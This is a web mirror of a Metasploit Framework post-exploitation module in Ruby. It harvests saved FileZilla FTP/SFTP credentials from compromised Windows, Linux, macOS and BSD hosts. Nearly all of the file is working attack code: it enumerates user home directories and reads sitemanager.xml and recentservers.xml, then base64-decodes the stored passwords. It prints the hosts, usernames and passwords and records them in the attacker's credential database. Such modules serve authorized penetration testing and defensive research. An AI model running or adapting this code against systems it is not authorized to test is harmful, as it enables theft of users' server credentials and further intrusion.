CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/filezilla_client_cred.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather FileZilla FTP Client Credential Collection',
17
'Description' => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'bannedit', # post port, added support for shell sessions
21
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
22
],
23
'Platform' => %w[bsd linux osx unix win],
24
'SessionTypes' => ['shell', 'meterpreter' ],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
core_channel_eof
29
core_channel_open
30
core_channel_read
31
core_channel_write
32
stdapi_fs_stat
33
stdapi_sys_config_getenv
34
stdapi_sys_config_getuid
35
]
36
}
37
}
38
)
39
)
40
end
41
42
def run
43
paths = []
44
case session.platform
45
when 'unix', 'linux', 'bsd'
46
@platform = :unix
47
paths = enum_users_unix
48
when 'osx'
49
@platform = :osx
50
paths = enum_users_unix
51
when 'windows'
52
@platform = :windows
53
profiles = grab_user_profiles
54
profiles.each do |user|
55
next if user['AppData'].nil?
56
57
fzdir = check_filezilla(user['AppData'])
58
paths << fzdir if fzdir
59
end
60
61
else
62
print_error "Unsupported platform #{session.platform}"
63
return
64
end
65
if paths.nil? || paths.empty?
66
print_status('No users found with a FileZilla directory')
67
return
68
end
69
70
get_filezilla_creds(paths)
71
end
72
73
def enum_users_unix
74
if @platform == :osx
75
home = '/Users/'
76
else
77
home = '/home/'
78
end
79
80
if got_root?
81
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
82
userdirs << "/root\n"
83
else
84
userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")
85
if userdirs =~ /No such file/i
86
return
87
else
88
print_status("Found FileZilla Client profile for: #{whoami}")
89
return ["#{home}#{whoami}/.filezilla"]
90
end
91
end
92
93
paths = Array.new
94
userdirs.each_line do |dir|
95
dir.chomp!
96
next if dir == '.' || dir == '..'
97
98
dir = "#{home}#{dir}" if dir !~ /root/
99
print_status("Checking for FileZilla Client profile in: #{dir}")
100
101
stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")
102
next if stat =~ /No such file/i
103
104
paths << "#{dir}/.filezilla"
105
end
106
return paths
107
end
108
109
def check_filezilla(filezilladir)
110
print_status("Checking for Filezilla directory in: #{filezilladir}")
111
session.fs.dir.foreach(filezilladir) do |dir|
112
if dir =~ /FileZilla/
113
print_status("Found #{filezilladir}\\#{dir}")
114
return "#{filezilladir}\\#{dir}"
115
end
116
end
117
return nil
118
end
119
120
def report_cred(opts)
121
service_data = {
122
address: opts[:ip],
123
port: opts[:port],
124
service_name: opts[:service_name],
125
protocol: 'tcp',
126
workspace_id: myworkspace_id
127
}
128
129
credential_data = {
130
module_fullname: fullname,
131
post_reference_name: refname,
132
session_id: session_db_id,
133
origin_type: :session,
134
private_data: opts[:password],
135
private_type: :password,
136
username: opts[:username]
137
}.merge(service_data)
138
139
login_data = {
140
core: create_credential(credential_data),
141
status: Metasploit::Model::Login::Status::UNTRIED
142
}.merge(service_data)
143
144
create_credential_login(login_data)
145
end
146
147
def get_filezilla_creds(paths)
148
sitedata = ''
149
recentdata = ''
150
creds = []
151
152
paths.each do |path|
153
print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
154
if session.type == 'shell'
155
type = :shell
156
sites = session.shell_command("cat #{path}/sitemanager.xml")
157
recents = session.shell_command("cat #{path}/recentservers.xml")
158
print_status("recents: #{recents}")
159
creds = [parse_accounts(sites)]
160
creds << parse_accounts(recents) unless recents =~ /No such file/i
161
else
162
type = :meterp
163
sitexml = "#{path}\\sitemanager.xml"
164
present = begin
165
session.fs.file.stat(sitexml)
166
rescue StandardError
167
nil
168
end
169
if present
170
sites = session.fs.file.new(sitexml, 'rb')
171
sitedata << sites.read until sites.eof?
172
sites.close
173
print_status('Parsing sitemanager.xml')
174
creds = [parse_accounts(sitedata)]
175
else
176
print_status('No saved connections where found')
177
end
178
179
recent_file = "#{path}\\recentservers.xml"
180
recent_present = begin
181
session.fs.file.stat(recent_file)
182
rescue StandardError
183
nil
184
end
185
if recent_present
186
recents = session.fs.file.new(recent_file, 'rb')
187
recentdata << recents.read until recents.eof?
188
recents.close
189
print_status('Parsing recentservers.xml')
190
creds << parse_accounts(recentdata)
191
else
192
print_status('No recent connections where found.')
193
end
194
end
195
creds.each do |cred|
196
cred.each do |loot|
197
if session.db_record
198
source_id = session.db_record.id
199
else
200
source_id = nil
201
end
202
203
report_cred(
204
ip: loot['host'],
205
port: loot['port'],
206
service_name: 'ftp',
207
username: loot['user'],
208
password: loot['password']
209
)
210
end
211
end
212
end
213
end
214
215
def parse_accounts(data)
216
creds = []
217
218
doc = begin
219
REXML::Document.new(data).root
220
rescue StandardError
221
nil
222
end
223
return [] if doc.nil?
224
225
doc.elements.to_a('//Server').each do |sub|
226
account = {}
227
account['host'] = begin
228
sub.elements['Host'].text
229
rescue StandardError
230
'<unknown>'
231
end
232
account['port'] = begin
233
sub.elements['Port'].text
234
rescue StandardError
235
'<unknown>'
236
end
237
238
case sub.elements['Logontype'].text
239
when '0'
240
account['logontype'] = 'Anonymous'
241
when /1|4/
242
account['user'] = begin
243
sub.elements['User'].text
244
rescue StandardError
245
'<unknown>'
246
end
247
if sub.elements['Pass'].attributes['encoding'] == 'base64'
248
account['password'] = begin
249
Rex::Text.decode_base64(sub.elements['Pass'].text)
250
rescue StandardError
251
'<unknown>'
252
end
253
else
254
account['password'] = begin
255
sub.elements['Pass'].text
256
rescue StandardError
257
'<unknown>'
258
end
259
end
260
when /2|3/
261
account['user'] = begin
262
sub.elements['User'].text
263
rescue StandardError
264
'<unknown>'
265
end
266
account['password'] = '<blank>'
267
end
268
269
if account['user'].nil?
270
account['user'] = '<blank>'
271
end
272
if account['password'].nil?
273
account['password'] = '<blank>'
274
end
275
276
case sub.elements['Protocol'].text
277
when '0'
278
account['protocol'] = 'FTP'
279
when '1'
280
account['protocol'] = 'SSH'
281
when '3'
282
account['protocol'] = 'FTPS'
283
when '4'
284
account['protocol'] = 'FTPES'
285
end
286
creds << account
287
288
print_status(' Collected the following credentials:')
289
print_status(' Server: %s:%s' % [account['host'], account['port']])
290
print_status(' Protocol: %s' % account['protocol'])
291
print_status(' Username: %s' % account['user'])
292
print_status(' Password: %s' % account['password'])
293
print_line('')
294
end
295
return creds
296
end
297
298
def got_root?
299
case @platform
300
when :windows
301
if session.sys.config.getuid =~ /SYSTEM/
302
return true
303
else
304
return false
305
end
306
else # unix, bsd, linux, osx
307
ret = whoami
308
if ret =~ /root/
309
return true
310
else
311
return false
312
end
313
end
314
end
315
316
def whoami
317
if @platform == :windows
318
session.sys.config.getenv('USERNAME')
319
else
320
session.shell_command('whoami').chomp
321
end
322
end
323
end
324
325